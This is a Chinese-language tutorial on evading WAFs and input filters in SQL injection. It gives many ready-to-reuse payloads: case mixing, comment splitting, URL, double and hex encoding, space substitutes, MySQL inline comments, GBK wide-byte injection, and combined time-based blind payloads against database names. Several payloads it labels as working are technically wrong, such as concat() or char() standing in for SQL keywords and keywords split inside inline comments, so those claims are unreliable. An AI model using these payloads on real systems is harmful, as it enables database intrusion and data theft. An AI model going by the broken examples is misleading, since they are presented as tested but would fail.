WAF / 过滤绕过篇(进阶核心)
WAF / 过滤绕过篇(进阶核心)
在SQL注入实战中,WAF(Web应用防火墙)、应用层过滤是最常见的拦截障碍——即使发现注入漏洞,若无法绕过过滤规则,也无法实现漏洞利用。本篇章聚焦“进阶绕过”,从常见过滤规则解析、通用绕过手法拆解、分层绕过思路落地三个核心维度,结合实战场景补充细节、Payload案例,帮助掌握可直接复用的绕过技巧,突破拦截限制,完成注入闭环。
1. 常见过滤规则(知己知彼,精准突破)
过滤规则是WAF、应用程序拦截注入Payload的核心依据,不同系统的过滤规则差异较大,但核心可归纳为4大类,需先明确目标的过滤范围,才能针对性设计绕过方案(实战中可通过“逐步测试法”判断过滤规则:依次输入关键字、符号、函数,观察页面是否拦截,确定被过滤的内容)。
1.1 关键字过滤(最核心、最常见)
核心拦截SQL注入相关的关键字,阻止恶意SQL语句的拼接与执行,是应用层过滤和WAF的首要拦截点,常见被过滤关键字分为3类:
查询类关键字:
select(查询数据)、union(联合查询核心)、from(指定查询表)、where(指定查询条件)—— 主要拦截联合查询、报错注入、盲注的核心语句;系统信息查询关键字:
information_schema(MySQL系统数据库,存储库、表、字段信息)、database()(查询当前库名)、version()(查询数据库版本)—— 阻止攻击者获取数据库基础信息,切断注入的“信息收集”环节;操作类关键字:
insert(插入数据)、update(修改数据)、delete(删除数据)、drop(删除表)、grant(赋予权限)—— 主要拦截堆叠注入的恶意操作,降低漏洞危害。
补充说明:部分过滤规则会拦截“关键字完整匹配”,部分会拦截“关键字片段”(如拦截sele,则select、selectxxx均会被拦截);部分会区分大小写(仅拦截小写select,不拦截大写SELECT),需实战中逐一验证。
1.2 符号过滤(阻断SQL语法闭合)
SQL语句的语法依赖特殊符号实现闭合、注释、逻辑判断,符号过滤的核心目的是“破坏恶意SQL的语法完整性”,使Payload无法正常执行,常见被过滤符号及拦截目的:
闭合类符号:单引号(
')、双引号(")—— 注入Payload需通过单/双引号闭合后台SQL语句的原有语法(如id=1' and 1=1--+),过滤后无法完成闭合,Payload失效;注释类符号:
--(MySQL单行注释)、#(MySQL单行注释)、/* */(多行注释)—— 注释符号用于“注释掉后台SQL语句中多余的内容”(如注释掉闭合后的单引号、多余的查询条件),过滤后会导致SQL语法错误,无法执行;逻辑/比较类符号:
=(等于)、>(大于)、<(小于)、and(逻辑与)、or(逻辑或)—— 主要拦截盲注(布尔盲注、时间盲注)的条件判断语句(如length(database())=5、ascii(substr(...))>100)。
1.3 函数过滤(拦截注入核心工具)
SQL注入依赖各类函数实现信息猜解、报错触发、延迟判断,函数过滤的核心是“禁用注入所需的关键函数”,使攻击者无法构造有效的恶意Payload,常见被过滤函数分为3类:
盲注相关函数:
sleep()(时间盲注延迟)、benchmark()(时间盲注替代延迟)、length()(猜解长度)、substr()(截取字符)、ascii()(字符转ASCII码)—— 直接阻断布尔盲注、时间盲注的核心逻辑;报错注入相关函数:
extractvalue()、updatexml()(MySQL报错注入核心函数)、floor()(报错注入替代函数)—— 阻止通过报错带出敏感数据;其他关键函数:
concat()(字符串拼接)、char()(ASCII码转字符)、load_file()(读取文件)、into outfile()(写入文件)—— 拦截Payload的字符串构造、文件操作相关功能。
1.4 请求特征拦截(WAF专属,精准识别恶意请求)
除了关键字、符号、函数过滤,WAF会通过“请求特征”识别恶意注入请求,无需解析Payload内容,直接拦截异常请求,常见拦截特征:
异常参数特征:参数中包含“连续特殊符号”(如
''、;;)、“异常拼接格式”(如id=1' and 1=1)、“不符合业务逻辑的参数值”(如业务上id仅为数字,参数却为id=1');Payload特征:匹配WAF内置的注入Payload规则库(如
union select 1,2,3、updatexml(1,concat(...),1)等常见Payload),即使修改关键字大小写,也可能因特征匹配被拦截;请求行为特征:短时间内同一IP发送大量包含敏感内容的请求、请求头异常(如缺失Referer、User-Agent)、参数长度异常(Payload过长)。
2. 通用绕过手法(实战可复用,一招破万法)
通用绕过手法是突破各类过滤规则的基础,核心思路是“不改变Payload功能,仅修改Payload的表现形式”,避开过滤规则的拦截,以下7种手法覆盖90%以上的基础过滤场景,结合案例拆解,可直接复用。
2.1 大小写混淆(最简单、最易上手)
核心原理:应用层过滤、部分WAF仅拦截“纯小写/纯大写关键字”,而MySQL、MSSQL等数据库对SQL关键字的大小写不敏感(如select、SelECt、SELECT执行效果完全一致),通过大小写交替,避开关键字的完整匹配过滤。
实战案例(针对select、union过滤):
原始Payload(被拦截):
id=-1 union select 1,database(),3--+绕过Payload(可用):
id=-1 UNioN SelECt 1,database(),3--+关键技巧:重点修改关键字的中间字符(如
select改为SelEct、sElEcT),避免仅修改首字母(部分过滤规则会拦截“首字母大写”的关键字);对于多关键字组合,需同时修改所有被过滤关键字(如同时修改union和select)。
局限性:仅适用于“不区分大小写的过滤规则”,若WAF/应用层过滤“关键字片段”(如拦截sele),则大小写混淆无效。
2.2 注释穿插(突破关键字完整匹配)
核心原理:在被过滤的关键字中间,插入数据库支持的注释符号,将关键字“拆分”,避开过滤规则的“完整关键字匹配”,同时数据库解析SQL语句时,会自动忽略注释内容,不影响Payload的执行。
常用注释符号(可穿插使用):
多行注释:
/**/(最通用,MySQL、MSSQL均支持);空字符注释:
%00(URL编码后的空字符,MySQL支持,插入后会截断关键字后续内容,需谨慎使用);特殊注释:
/*!*/(MySQL内联注释,后续单独讲解,此处可作为穿插注释使用)。
实战案例(针对select、union、information_schema过滤):
原始Payload(被拦截):
id=-1 union select 1,group_concat(table_name) from information_schema.tables--+绕过Payload(可用):
id=-1 uni/**/on sel/**/ect 1,group_concat(table_name) fro/**/m info/**/rmation_schema.tab/**/les--+关键技巧:注释穿插位置无固定要求,优先插入关键字的中间位置(如
select插入为sel/**/ect),避免插入关键字的首尾(如/**/select,可能仍被识别为完整关键字);对于长关键字(如information_schema),可多插入几处注释,进一步拆分。
2.3 编码绕过(突破字符、关键字过滤)
核心原理:将Payload中的敏感内容(关键字、符号、函数)进行编码,转换为另一种格式,WAF/应用层过滤若未对编码内容进行解码,则无法识别敏感内容,而数据库/应用程序会自动解码,执行Payload。
常用编码方式(按实战优先级排序),重点掌握前2种:
(1)URL编码(最通用,优先使用)
将敏感字符转换为URL编码格式(%+ASCII码),适用于GET/POST参数中的敏感内容,浏览器、应用程序会自动解码,MySQL会直接识别解码后的内容。
常用敏感字符的URL编码:
单引号(
'):%27;双引号("):%22;空格:
%20;=:%3D;>:%3E;<:%3C;关键字片段编码:如
select的e编码为%65,可拼接为sel%65ct,避开完整关键字过滤。
实战案例(针对单引号、select过滤):
原始Payload(被拦截):
id=1' and select 1=1--+绕过Payload(可用):
id=1%27 and sel%65ct 1%3D1--+
(2)双重URL编码(突破URL解码过滤)
若目标对参数进行了一次URL解码,且过滤规则仅针对解码后的内容,可对敏感字符进行“双重URL编码”(如单引号'→第一次编码%27→第二次编码%2527),应用程序解码一次后,仍为编码格式,避开过滤,数据库执行时再自动解码。
实战案例(针对单引号过滤,且目标有一次URL解码):
原始Payload(被拦截):
id=1%27 and 1=1--+(一次编码后仍被过滤);绕过Payload(可用):
id=1%2527 and 1=1--+(双重编码,解码一次后为%27,避开过滤)。
(3)十六进制编码(针对字符串、符号过滤)
将字符串、敏感符号转换为十六进制格式,MySQL支持直接识别十六进制字符串(前缀加0x),适用于单引号、关键字被过滤,无法直接闭合语法的场景。
实战案例(针对单引号、admin字符串过滤):
原始Payload(被拦截):
id=1' and username='admin'--+绕过Payload(可用):
id=1 and username=0x61646D696E--+(0x61646D696E是admin的十六进制编码,无需单引号闭合)。
(4)Unicode编码(补充,针对特殊过滤)
将敏感字符转换为Unicode编码(如select的s转换为\u0073),适用于应用层过滤针对ASCII字符,未对Unicode编码进行过滤的场景,实战中使用频率较低,可作为备用方案。
2.4 等价函数替换(突破函数、符号过滤)
核心原理:当某类函数、符号被过滤时,使用功能完全一致(或效果等价)的函数、符号替代,不改变Payload的核心逻辑,同时避开过滤规则,这是突破“函数过滤”的核心手法。
实战常用等价替换表(直接复用,重点记忆):
截取字符函数(替代
substr):mid()(功能完全一致,mid(database(),1,1)等价于substr(database(),1,1))、substring()(与substr完全等价)、left()(截取左侧字符,left(database(),1)等价于substr(database(),1,1));延迟函数(替代
sleep):benchmark(count, expr)(重复执行expr函数count次,达到延迟效果,如benchmark(1000000, md5('123')),延迟约1-2秒);比较符号(替代
=、>、<):like(等价于=,username like 'admin'等价于username='admin')、regexp(正则匹配,等价于=,username regexp 'admin'等价于username='admin')、between and(替代>、<,length(database()) between 5 and 5等价于length(database())=5);逻辑符号(替代
and、or):&&(等价于and)、||(等价于or);字符串拼接函数(替代
concat):concat_ws()(按分隔符拼接,concat_ws(':',username,password)等价于concat(username,':',password))、group_concat()(多结果拼接,可替代concat用于多数据查询)。
实战案例(针对substr、sleep、=过滤):
原始Payload(被拦截):
id=1' and if(ascii(substr(database(),1,1))=116, sleep(5), 0)--+绕过Payload(可用):
id=1' && if(ascii(mid(database(),1,1)) like 116, benchmark(1000000, md5('123')), 0)--+
2.5 空格替换(突破空格过滤)
核心原理:SQL语句中,空格用于分隔关键字、参数、函数,若空格被过滤,可使用数据库支持的“空白字符”或“语法结构”替代空格,不影响SQL语句的解析执行,同时避开空格过滤规则。
常用空格替代方案(按兼容性排序):
/**/:多行注释,最通用,可替代所有空格(如select/**/1,2,3等价于select 1,2,3);URL编码空白字符:
%09(制表符)、%0a(换行符)、%0b(垂直制表符)、%0c(换页符),MySQL、MSSQL均支持,需进行URL编码后传入;括号
():利用SQL语法特性,在函数、关键字后添加括号,替代部分空格(如select(1)from(admin)等价于select 1 from admin);其他符号:
+(部分数据库支持,如MSSQL,select+1+from+admin等价于select 1 from admin)。
实战案例(针对空格过滤):
原始Payload(被拦截):
id=-1 union select 1,database(),3--+绕过Payload(可用):
id=-1%0aunion%0aselect%0a1,database(),3--+(%0a替代空格);备选Payload(可用):
id=-1union/**/select(1),database(),(3)--+(/**/+括号组合替代空格)。
2.6 字符串拼接(突破关键字、字符串过滤)
核心原理:当关键字、敏感字符串(如select、admin)被完整过滤时,将关键字拆分为多个片段,通过字符串拼接函数拼接为完整关键字,数据库执行时会自动拼接,形成有效SQL语句,避开过滤规则。
常用拼接方式(2种,结合使用效果更佳):
(1)concat()函数拼接(最通用)
将关键字拆分为多个字符串片段,通过concat()拼接,适用于关键字被完整过滤,片段未被过滤的场景。
实战案例(针对select、union过滤):
原始Payload(被拦截):
id=-1 union select 1,2,3--+绕过Payload(可用):
id=-1 concat('uni','on') concat('sel','ect') 1,2,3--+
(2)char()函数拼接(突破符号、字符串过滤)
char()函数可将ASCII码转换为对应字符,将关键字、敏感符号的ASCII码传入char(),拼接为完整内容,适用于单引号、关键字同时被过滤的场景(无需直接输入关键字、符号)。
实战案例(针对select、单引号过滤):
已知:
s的ASCII码是115,e是101,l是108,e是101,c是99,t是116;原始Payload(被拦截):
id=1' and select 1=1--+绕过Payload(可用):
id=1 and char(115,101,108,101,99,116) 1=1--+(char(115,101,108,101,99,116)等价于select)。
(3)hex()编码拼接(补充)
将字符串转换为十六进制,结合unhex()函数解码拼接,适用于关键字、符号被严格过滤的场景,如unhex(hex('sel')+hex('ect'))等价于select。
2.7 内联注释(MySQL专属,突破严格过滤)
核心原理:内联注释是MySQL的专属语法,格式为/*!SQL语句*/,MySQL会将注释内的SQL语句当作正常语句执行,而其他数据库会当作注释忽略;同时,WAF/应用层过滤若未识别内联注释格式,会将注释内的关键字当作注释内容,不进行拦截——这是突破MySQL环境下严格过滤的“杀招”。
进阶技巧:内联注释中可添加MySQL版本号(如/*!50001select*/),仅当MySQL版本≥5.0.01时执行,可进一步避开WAF的特征匹配(部分WAF会拦截无版本号的内联注释)。
实战案例(针对select、union、sleep严格过滤,MySQL环境):
原始Payload(被拦截):
id=-1 union select 1,database(),sleep(5)--+绕过Payload(可用):
id=-1 /*!union*/ /*!select*/ 1,/*!database()*/,/*!sleep(5)*/--+进阶Payload(可用):
id=-1 /*!50001union*/ /*!50001select*/ 1,/*!50001database()*/,/*!50001sleep(5)*/--+(添加版本号,提升绕过成功率)。
局限性:仅适用于MySQL数据库,MSSQL、Oracle不支持内联注释语法,无法使用。
3. 分层绕过思路(进阶核心,突破复杂拦截)
实战中,单纯的“通用绕过手法”往往无法突破复杂过滤(如WAF+应用层双重过滤、多层编码+关键字片段过滤),此时需采用“分层绕过思路”——明确过滤规则的分层,针对性突破每一层的拦截,最后组合手法,构造可执行的Payload。
过滤规则分为3层(从外到内,依次拦截),绕过顺序为“从外到内,逐层突破”,最终实现Payload正常执行。
3.1 第一层:参数接收端(应用层过滤,最外层)
这是应用程序自身实现的过滤(而非WAF),通常在“参数接收、验证”阶段,对用户输入的参数进行过滤、转义,核心特点是“过滤规则相对简单,可通过基础手法绕过”,常见过滤方式及绕过思路:
常见过滤方式:关键字替换(如将
select替换为空字符串)、符号转义(如将单引号'转义为\')、长度限制(限制参数长度,截断Payload);绕过思路:
关键字替换过滤:使用注释穿插、大小写混淆、字符串拼接绕过(如将
select改为sel/**/ect,避免被完整匹配替换);符号转义过滤:使用宽字节注入(MySQL+GBK编码,
%df'吃掉转义符\)、十六进制编码(无需单引号闭合)绕过;长度限制过滤:精简Payload(使用短函数、简化语法)、分段注入(将Payload拆分为多个参数,拼接执行)。
实战案例(应用层过滤select、转义单引号):
过滤规则:将
select替换为空,单引号'转义为\';绕过Payload:
id=1%df' and /*!sel*/ect 1=1--+(%df'吃掉转义符,/*!sel*/ect避开关键字替换)。
3.2 第二层:WAF/IDS/IPS 规则(中间层,最严格)
这是最核心的拦截层,WAF(或IDS/IPS)会对请求的URL、参数、请求头进行全面检测,匹配内置的恶意特征库,拦截异常请求,核心特点是“过滤规则复杂,特征匹配严格”,绕过思路核心是“避开WAF的特征匹配”:
绕过核心思路:
特征混淆:使用内联注释、注释穿插、大小写混淆,修改Payload的特征,避免匹配WAF内置Payload库(如将
union select 1,2,3改为/*!union*/ /*!select*/ (1),(2),(3));编码绕过:使用双重编码、十六进制编码,将敏感内容编码,使WAF无法识别(如单引号
'改为%2527,双重URL编码);请求特征伪装:修改请求头(添加正常的Referer、User-Agent)、控制请求频率(避免短时间大量请求)、拆分Payload(将Payload拆分为多个参数,拼接执行),伪装成正常请求;
特征绕过:利用WAF的规则缺陷,添加无关字符、冗余语法,干扰WAF的特征匹配(如在Payload中添加
/*abc*/、1=1等冗余内容)。
实战案例(WAF拦截union select、sleepPayload):
WAF特征库:拦截
union select、sleep(5)等常见Payload;绕过Payload:
id=-1 /*!50001uni*/on/*abc*/ /*!50001sel*/ect 1,2,/*!50001benchmark*/(1000000,md5('123'))--+(内联注释+冗余注释+等价函数,避开WAF特征)。
3.3 第三层:数据库解析层特性(最内层,最终突破)
这是最后一层拦截,即使Payload绕过了应用层和WAF,若不符合数据库的解析特性,也无法执行——核心思路是“利用数据库的语法特性,调整Payload格式,确保数据库能正常解析执行”,常见数据库特性及利用:
MySQL特性:内联注释(
/*!SQL语句*/)、宽字节编码(GBK编码%df')、十六进制识别(0x前缀)、函数兼容性(mid()与substr()等价);MSSQL特性:
waitfor delay(延迟函数,替代sleep)、+号拼接字符串、注释符号--和/* */兼容;Oracle特性:
dbms_lock.sleep()(延迟函数)、字符串拼接||、注释符号--;绕过思路:根据目标数据库类型,利用其专属语法特性,调整Payload格式(如MySQL用内联注释,MSSQL用
waitfor delay),确保Payload能被数据库正常解析,同时避开前两层过滤。
3.4 多层组合绕过 Payload 构造(实战落地,核心重点)
复杂场景下(应用层+WAF双重过滤),单一绕过手法无效,需“组合多种手法”,逐层突破,构造可执行的Payload,核心构造流程(实战可直接套用):
第一步:测试过滤规则。依次输入关键字(
select、union)、符号('、=)、函数(sleep、substr),观察页面是否拦截,确定每一层的过滤内容(如应用层过滤select,WAF过滤sleep,数据库是MySQL);第二步:设计分层绕过方案。针对每一层的过滤,选择对应的绕过手法(应用层用注释穿插,WAF用内联注释+等价函数,数据库用MySQL特性);
第三步:组合手法,构造Payload。将各层的绕过手法组合,确保Payload能绕过所有过滤,且能被数据库解析执行;
第四步:验证Payload。逐步调整Payload格式(如修改注释位置、调整等价函数),测试是否能正常执行(如时间盲注观察延迟,报错注入观察报错信息),直至成功绕过。
实战组合案例(复杂场景):
场景:应用层过滤
select、union,WAF过滤sleep、substr,数据库是MySQL(GBK编码),单引号被转义;分层绕过方案:
应用层过滤:注释穿插+大小写混淆;
WAF过滤:内联注释+等价函数(
mid替代substr,benchmark替代sleep);单引号转义:宽字节
%df';数据库特性:MySQL内联注释、GBK宽字节。
最终组合Payload:
id=1%df' && /*!if*/(ascii(/*!mid*/(database(),1,1))like116,/*!benchmark*/(1000000,md5('123')),0)--+;验证:若请求延迟1-2秒,说明绕过成功,Payload正常执行。
4. 绕过实战注意事项(避坑关键)
逐步测试,精准定位:不要直接使用复杂Payload,先逐步测试被过滤的内容(关键字、符号、函数),明确过滤规则后,再设计绕过方案,避免盲目尝试导致IP被封禁;
适配数据库类型:不同数据库的语法、特性不同,绕过手法需针对性调整(如MySQL用内联注释,Oracle不可用),避免因数据库不兼容导致Payload失效;
控制请求频率:WAF会检测“短时间大量异常请求”,测试、绕过过程中,需控制请求间隔(如每3-5秒发送一次请求),避免IP被封禁;
备用方案准备:若某一种绕过手法失效,需准备备用方案(如
sleep被过滤,用benchmark替代;注释穿插被过滤,用编码绕过),灵活调整;合法性提醒:所有绕过、注入操作,仅用于合法的渗透测试场景,需提前获得目标授权,严禁用于非法攻击,否则将承担相应法律责任。
(注:文档部分内容可能由 AI 生成)